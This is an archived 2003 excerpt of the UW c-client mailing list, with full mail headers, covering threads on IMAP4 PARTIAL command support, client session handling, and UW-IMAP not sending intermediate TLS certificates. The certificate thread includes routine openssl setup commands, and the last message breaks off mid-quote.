Aug 2003 23:27:31 PDT Message-Id: <20030812062731.55777.qmail@web9801.mail.yahoo.com> Date: Mon, 11 Aug 2003 23:27:31 -0700 (PDT) Reply-To: ganga_506@yahoo.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gangadhar Mylapuram To: c-client@u.washington.edu Subject: Regarding PARTIAL command MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-103806035-1060669651=:55732" X-Uwash-Spam: Gauge=XXXXXXIIIIII, Probability=66%, Report='__HAS_MSGID, __SANE_MSGID, FROM_ENDS_IN_NUMS, __EVITE_CTYPE, MIME_BOUND_DIGITS_5, RCVD_IN_RFCI, SPAM_REDIRECTOR, SPAM_PHRASE_03_05' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-103806035-1060669651=:55732 Content-Type: text/plain; charset=us-ascii Hello every body, I am developing an IMAP client, according to my client requirement, I am following rfc1730. My client asked for support of PARTIAL command. But I have latest version of UW IMAP server, it is not supporting PARTIAL command. In this scenario how can i supprot this command. rfc 1730 is obsoleted by rfc 2060. My qestion is whether latest IMAP servers support obsoleted rfcs or not? Can any body tell me what considerations i have to make here? Thanks Gangadhar. --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-103806035-1060669651=:55732 Content-Type: text/html; charset=us-ascii
    Hello every body,

    I am developing an IMAP client, according to my
    client requirement,  I am following rfc1730. My
    client asked for support of PARTIAL command. But I
    have latest version of UW IMAP server, it is not
    supporting PARTIAL command. In this scenario how
    can i supprot this command.

    rfc 1730 is obsoleted by rfc 2060.

    My qestion is whether latest IMAP servers support
    obsoleted rfcs or not?

    Can any body tell me what considerations i have
    to make here?

    Thanks
    Gangadhar.

    Do you Yahoo!?
    Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-103806035-1060669651=:55732-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 12 01:29:58 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Aug 2003 01:29:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C8Tsxd027842 for ; Tue, 12 Aug 2003 01:29:54 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C8Toof016424 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 12 Aug 2003 01:29:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7C8TgOL073678; Tue, 12 Aug 2003 01:29:42 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C8SL2x048940 for ; Tue, 12 Aug 2003 01:28:21 -0700 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.Uni-Koeln.DE [134.95.19.53]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C8SHJM011572 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 12 Aug 2003 01:28:18 -0700 Received: from smtp.uni-koeln.de (lvr5.rrz.uni-koeln.de [134.95.19.103]) by smtp-out.rrz.uni-koeln.de (8.12.9/8.12.8) with ESMTP id h7C8RQCK031317; Tue, 12 Aug 2003 10:27:52 +0200 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.9/8.12.8) with ESMTP id h7C8Quwn032429; Tue, 12 Aug 2003 10:27:06 +0200 Message-Id: <2147483647.1060684016@tyrion.rrz.uni-koeln.de> Date: Tue, 12 Aug 2003 10:26:56 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: ganga_506@yahoo.com Cc: c-client@u.washington.edu Subject: Re: Regarding PARTIAL command In-Reply-To: <20030812062731.55777.qmail@web9801.mail.yahoo.com> References: <20030812062731.55777.qmail@web9801.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report='__HAS_MSGID, __SANE_MSGID, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Montag, 11. August 2003 23:27 Uhr -0700 Gangadhar Mylapuram=20 wrote: > I am developing an IMAP client, according to my > client requirement, I am following rfc1730. My > client asked for support of PARTIAL command. But I > have latest version of UW IMAP server, it is not > supporting PARTIAL command. In this scenario how > can i supprot this command. > > rfc 1730 is obsoleted by rfc 2060. > > My qestion is whether latest IMAP servers support > obsoleted rfcs or not? That depends. RFC 1730 is for IMAP4, whereas RFC 2060 and RFC 3501 describe = IMAP4rev1. If a server tells you that it supports IMAP4 it will have the=20 PARTIAL command. An example is Cyrus, which supports both IMAP4 and=20 IMAP4rev1. If, however, the server only supports IMAP4rev1, it will not.=20 This has nothing to do with supporting older RFCs. IMAP4 and IMAP4rev1 are=20 simply different protocols, or rather different versions. Cheers, Sebastian -- Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Tue Aug 12 01:55:33 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Aug 2003 01:55:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C8tWxd028854 for ; Tue, 12 Aug 2003 01:55:32 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C8tTof017007 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 12 Aug 2003 01:55:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7C8tNKH009482; Tue, 12 Aug 2003 01:55:23 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C8sT2x039930 for ; Tue, 12 Aug 2003 01:54:29 -0700 Received: from web9805.mail.yahoo.com (web9805.mail.yahoo.com [216.136.129.215]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7C8sRrL016496 for ; Tue, 12 Aug 2003 01:54:27 -0700 Received: from [202.62.83.99] by web9805.mail.yahoo.com via HTTP; Tue, 12 Aug 2003 01:54:27 PDT Message-Id: <20030812085427.91798.qmail@web9805.mail.yahoo.com> Date: Tue, 12 Aug 2003 01:54:27 -0700 (PDT) Reply-To: ganga_506@yahoo.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gangadhar Mylapuram To: Sebastian Hagedorn Cc: c-client@u.washington.edu Subject: Re: Regarding PARTIAL command In-Reply-To: <2147483647.1060684016@tyrion.rrz.uni-koeln.de> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1755563414-1060678467=:91676" X-Uwash-Spam: Gauge=XIIIIIIIII, Probability=19%, Report='__HAS_MSGID, __SANE_MSGID, FROM_ENDS_IN_NUMS, __EVITE_CTYPE, __IN_REP_TO, IN_REP_TO, RCVD_IN_RFCI, SPAM_REDIRECTOR, EMAIL_ATTRIBUTION, SPAM_PHRASE_01_02, HTML_TAG_UNKNOWN' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-1755563414-1060678467=:91676 Content-Type: text/plain; charset=us-ascii Dear Sebastian, You mean two independent prtocols for mail access. I am asking about low version compatibility. Is it not compulsary to have support of lower versions? Sebastian Hagedorn wrote: --On Montag, 11. August 2003 23:27 Uhr -0700 Gangadhar Mylapuram wrote: > I am developing an IMAP client, according to my > client requirement, I am following rfc1730. My > client asked for support of PARTIAL command. But I > have latest version of UW IMAP server, it is not > supporting PARTIAL command. In this scenario how > can i supprot this command. > > rfc 1730 is obsoleted by rfc 2060. > > My qestion is whether latest IMAP servers support > obsoleted rfcs or not? That depends. RFC 1730 is for IMAP4, whereas RFC 2060 and RFC 3501 describe IMAP4rev1. If a server tells you that it supports IMAP4 it will have the PARTIAL command. An example is Cyrus, which supports both IMAP4 and IMAP4rev1. If, however, the server only supports IMAP4rev1, it will not. This has nothing to do with supporting older RFCs. IMAP4 and IMAP4rev1 are simply different protocols, or rather different versions. Cheers, Sebastian -- Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldgürtel 156 50823 Köln http://www.spinfo.uni-koeln.de/~hgd/ --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-1755563414-1060678467=:91676 Content-Type: text/html; charset=us-ascii
    Dear Sebastian,
     
    You mean two independent prtocols for mail access.
     
     I am asking about low version compatibility.
     
    Is it not compulsary to have support of lower versions?


    Sebastian Hagedorn <Hagedorn@spinfo.uni-koeln.de> wrote:
    --On Montag, 11. August 2003 23:27 Uhr -0700 Gangadhar Mylapuram
    wrote:

    > I am developing an IMAP client, according to my
    > client requirement, I am following rfc1730. My
    > client asked for support of PARTIAL command. But I
    > have latest version of UW IMAP server, it is not
    > supporting PARTIAL command. In this scenario how
    > can i supprot this command.
    >
    > rfc 1730 is obsoleted by rfc 2060.
    >
    > My qestion is whether latest IMAP servers support
    > obsoleted rfcs or not?

    That depends. RFC 1730 is for IMAP4, whereas RFC 2060 and RFC 3501 describe
    IMAP4rev1. If a server tells you that it supports IMAP4 it will have the
    PARTIAL command. An example is Cyrus, which supports both IMAP4 and
    IMAP4rev1. If, however, the server only supports IMAP4rev1, it will not.
    This h! as nothing to do with supporting older RFCs. IMAP4 and IMAP4rev1 are
    simply different protocols, or rather different versions.

    Cheers, Sebastian
    --
    Sebastian Hagedorn PGP key ID: 0x4D105B45
    Ehrenfeldgürtel 156
    50823 Köln
    http://www.spinfo.uni-koeln.de/~hgd/

    Do you Yahoo!?
    Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-1755563414-1060678467=:91676-- From pinedev@shivax2.cac.washington.edu Tue Aug 12 01:59:50 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Aug 2003 01:59:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C8xoxd028923 for ; Tue, 12 Aug 2003 01:59:50 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C8xkWO024458 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 12 Aug 2003 01:59:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7C8xgOL080370; Tue, 12 Aug 2003 01:59:43 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C8x52x021314 for ; Tue, 12 Aug 2003 01:59:05 -0700 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.Uni-Koeln.DE [134.95.19.53]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C8x1JM014746 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 12 Aug 2003 01:59:02 -0700 Received: from smtp.uni-koeln.de (lvr6.rrz.uni-koeln.de [134.95.19.104]) by smtp-out.rrz.uni-koeln.de (8.12.9/8.12.8) with ESMTP id h7C8x0CK010687; Tue, 12 Aug 2003 10:59:00 +0200 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.9/8.12.7) with ESMTP id h7C8x0AW006031; Tue, 12 Aug 2003 10:59:00 +0200 Message-Id: <2147483647.1060685940@tyrion.rrz.uni-koeln.de> Date: Tue, 12 Aug 2003 10:59:00 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: ganga_506@yahoo.com Cc: c-client@u.washington.edu Subject: Re: Regarding PARTIAL command In-Reply-To: <20030812085427.91798.qmail@web9805.mail.yahoo.com> References: <20030812085427.91798.qmail@web9805.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report='__HAS_MSGID, __SANE_MSGID, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Gangadhar, --On Dienstag, 12. August 2003 1:54 Uhr -0700 Gangadhar Mylapuram=20 wrote: > You mean two independent prtocols for mail access. yes. > I am asking about low version compatibility. > > Is it not compulsary to have support of lower versions? No. Some implementations have it, others don't. Cheers, Sebastian -- Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Tue Aug 12 23:05:20 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Aug 2003 23:05:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7D65Jxd013795 for ; Tue, 12 Aug 2003 23:05:19 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7D65EWO029335 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 12 Aug 2003 23:05:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7D659OL080176; Tue, 12 Aug 2003 23:05:09 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7D62D2x032936 for ; Tue, 12 Aug 2003 23:02:13 -0700 Received: from web9801.mail.yahoo.com (web9801.mail.yahoo.com [216.136.129.211]) by mxu6.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7D62B7e023252 for ; Tue, 12 Aug 2003 23:02:11 -0700 Received: from [202.62.76.42] by web9801.mail.yahoo.com via HTTP; Tue, 12 Aug 2003 23:02:11 PDT Message-Id: <20030813060211.93518.qmail@web9801.mail.yahoo.com> Date: Tue, 12 Aug 2003 23:02:11 -0700 (PDT) Reply-To: ganga_506@yahoo.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gangadhar Mylapuram To: c-client@u.washington.edu Subject: Session Maintenance MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-626218772-1060754531=:92311" X-Uwash-Spam: Gauge=XXXXXXIIIIII, Probability=66%, Report='__HAS_MSGID, __SANE_MSGID, FROM_ENDS_IN_NUMS, __EVITE_CTYPE, MIME_BOUND_DIGITS_5, RCVD_IN_RFCI, SPAM_REDIRECTOR, SPAM_PHRASE_03_05' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-626218772-1060754531=:92311 Content-Type: text/plain; charset=us-ascii Hi Everybody, In case of online model, whether client has to maintain connection untill user closes the application or every time it has to establish connection for user request? If connection fails in the middle, whether client has to retry for connection or it simply has to displys refused messge to user? -- Thanks Gangadhar --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-626218772-1060754531=:92311 Content-Type: text/html; charset=us-ascii
    Hi Everybody,
     
    In case of online model, whether client has to maintain connection
    untill user closes the application or every time it has to establish 
    connection for user request?

     If connection fails in the middle, whether client has to retry for 
    connection or it simply has to displys refused messge to user?
    --
    Thanks
    Gangadhar

    Do you Yahoo!?
    Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-626218772-1060754531=:92311-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 14 12:07:56 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Aug 2003 12:07:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7EJ7txd025548 for ; Thu, 14 Aug 2003 12:07:55 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7EJ7qWO029622 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 14 Aug 2003 12:07:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7EJ7lOL091040; Thu, 14 Aug 2003 12:07:47 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7EJ5Y2x031614 for ; Thu, 14 Aug 2003 12:05:34 -0700 Received: from mail.binarytool.com (h24-108-176-247.sbm.shawcable.net [24.108.176.247]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7EJ5TdL031125 for ; Thu, 14 Aug 2003 12:05:33 -0700 Received: from binarytool.com (localhost [127.0.0.1]) by mail.binarytool.com (Postfix) with SMTP id 3C2681AFCB for ; Thu, 14 Aug 2003 12:05:19 -0700 (PDT) Received: from 192.168.1.13 (SquirrelMail authenticated user marcus) by secure.eclectica.ca with HTTP; Thu, 14 Aug 2003 12:05:19 -0700 (PDT) Message-Id: <1148.192.168.1.13.1060887919.squirrel@secure.eclectica.ca> Date: Thu, 14 Aug 2003 12:05:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Marcus Redivo" To: Subject: Secure POP/IMAP with chained intermediate certificates MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Uwash-Spam: Gauge=XXXIII, Probability=33%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_X_PRIORITY, __EVITE_CTYPE, MSG_ID_ADDED_BY_MTA_3, PRIORITY_NO_NAME, WEIRD_PORT, SPAM_PHRASE_02_03, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Greetings to all, I am setting up a new OpenBSD mail server, and I wish to allow only encrypted access to it; secure POP3 and secure IMAP. The good news is that UW-IMAP does it all, and does it well. However, I have run into a snag: I have a trial certificate signed by Comodo using a second-level CA certificate, which is in turn signed by a GTE Cybertrust root certificate. The second-level certificate is not distributed with the usual browsers, so it must be supplied by the POP/IMAP server during session initiation. UW-IMAP does not send this intermediate certificate, so the client is unable to resolve the trust chain and issues a message to the user. I have searched the web and these mailing list archives, and have not found any references or solutions to this problem specific to UW-IMAP. If anyone has already solved this, they will immediately recognize the problem and can stop reading now; please post a reply here so that future web searches will show the answer as well as the question. No answer? OK, here's what I have done and tested: 1. The certificate is valid. I have installed both it and the intermediate certificate in apache with complete success. The intermediate certificate is identified to apache as follows: ... # Note: Inside SSLCACertificatePath you need hash symlinks SSLCACertificatePath /var/www/conf/ssl Directory /var/www/conf/ssl contains the intermediate CA certificate, and a hash symlink to it created with: # ln -s cert.pem $(openssl x509 -noout -hash -in cert.pem).0 (Aside: OpenBSD wants to chroot apache, hence the odd location.) 2. I have installed the server certificate and key as /etc/ssl/ipop3d.pem (and imapd.pem), and installed the intermediate (and root) certificates in /etc/ssl/certs, along with their hashes as described above. I am quite certain that I have this right, because when I use the exact same configuration with my locally-generated private root CA and signed server certificate, all is well with both POP and IMAP. Note that this successful chain only involves two certificates: the one on the server, and the one (I personally) installed in the browswer. Also, the certificate successfully validates when tested with: # openssl verify -CApath /etc/ssl/certs/ /etc/ssl/ipop3d.pem /etc/ssl/ipop3d.pem: OK However, when a POP or IMAP client (in my tests, Outlook 2000 as a POP client) connects to the server, it is unable to validate the chain of trust. A useful trick is to point your browser (in SSL mode) at the POP/IMAP site: https://mail.examaple.com:993 You can then inspect the certificate the browser received from the POP/IMAP server. From this, it is quite clear that the POP/IMAP server returned only the server certificate, and not the intermediate certificate. The same test at port 443 (secure http) results in a complete, valid chain of trust as described earlier. So my questions are: - Is there a way to tell UW-IMAP to send intermediate certificates along with the server certificate? - Am I asking this in the right forum, or is this too tangential to the UW-IMAP server? Thanks for your time and your consideration. Marcus Redivo http://www.eclectica.ca -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Aug 15 01:14:13 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Aug 2003 01:14:13 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7F8EDxd017408 for ; Fri, 15 Aug 2003 01:14:13 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7F8E9of009995 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 15 Aug 2003 01:14:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7F8E4OL088874; Fri, 15 Aug 2003 01:14:04 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7F89Y2x060078 for ; Fri, 15 Aug 2003 01:09:34 -0700 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.Uni-Koeln.DE [134.95.19.53]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7F89TSC005781 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 15 Aug 2003 01:09:31 -0700 Received: from smtp.uni-koeln.de (lvr6.rrz.uni-koeln.de [134.95.19.104]) by smtp-out.rrz.uni-koeln.de (8.12.9/8.12.8) with ESMTP id h7F89MCK013307; Fri, 15 Aug 2003 10:09:22 +0200 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.9/8.12.7) with ESMTP id h7F89MAW008821; Fri, 15 Aug 2003 10:09:22 +0200 Message-Id: <669090768.1060942161@tyrion.rrz.uni-koeln.de> Date: Fri, 15 Aug 2003 10:09:22 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Marcus Redivo Cc: c-client@u.washington.edu Subject: Re: Secure POP/IMAP with chained intermediate certificates In-Reply-To: <1148.192.168.1.13.1060887919.squirrel@secure.eclectica.ca> References: <1148.192.168.1.13.1060887919.squirrel@secure.eclectica.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=IIII, Probability=4%, Report='__HAS_MSGID, __SANE_MSGID, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, QUOTED_EMAIL_TEXT, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, --On Donnerstag, 14. August 2003 12:05 Uhr -0700 Marcus Redivo=20 wrote: > I have a trial certificate signed by Comodo using a second-level CA > certificate, which is in turn signed by a GTE Cybertrust root = certificate. > The second-level certificate is not distributed with the usual browsers, > so it must be supplied by the POP/IMAP server during session initiation. > > UW-IMAP does not send this intermediate certificate, so the client is > unable to resolve the trust chain and issues a message to the user. I = have > searched the web and these mailing list archives, and have not found any > references or solutions to this problem specific to UW-IMAP. > > If anyone has already solved this, they will immediately recognize the > problem and can stop reading now; please post a reply here so that future > web searches will show the answer as well as the question. the way we are dealing with this is to provide the other certificates via=20 HTTP download. Those users who care enough not to just ignore the warning=20 or who have mailers which don't allow(!) them to ignore it have to install=20 them into their mailers manually ... it's not perfect, but it works. Greetings, Sebastian -- Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Fri Aug 15 08:07:06 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Aug 2003 08:07:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7FF76xd028757 for ; Fri, 15 Aug 2003 08:07:06 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7FF74WO028720 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 15 Aug 2003 08:07:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7FF6uTB021920; Fri, 15 Aug 2003 08:06:56 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7FF1i2x048616 for ; Fri, 15 Aug 2003 08:01:44 -0700 Received: from mail.binarytool.com (h24-108-176-247.sbm.shawcable.net [24.108.176.247]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7FF1hC0021258 for ; Fri, 15 Aug 2003 08:01:43 -0700 Received: from binarytool.com (localhost [127.0.0.1]) by mail.binarytool.com (Postfix) with SMTP id D08081AFCB for ; Fri, 15 Aug 2003 08:01:41 -0700 (PDT) Received: from 192.168.1.14 (SquirrelMail authenticated user marcus) by secure.eclectica.ca with HTTP; Fri, 15 Aug 2003 08:01:41 -0700 (PDT) Message-Id: <1628.192.168.1.14.1060959701.squirrel@secure.eclectica.ca> Date: Fri, 15 Aug 2003 08:01:41 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Marcus Redivo" To: Subject: Re: Secure POP/IMAP with chained intermediate certificates MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_X_PRIORITY, __EVITE_CTYPE, MSG_ID_ADDED_BY_MTA_3, PRIORITY_NO_NAME, QUOTED_EMAIL_TEXT, LINES_OF_YELLING' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN (I sent this reply yesterday, but did not realize it only went to the author and not the list. Sorry about that.) Chr. von Stuckrad said: > On Thu, Aug 14, 2003 at 12:05:19PM -0700, 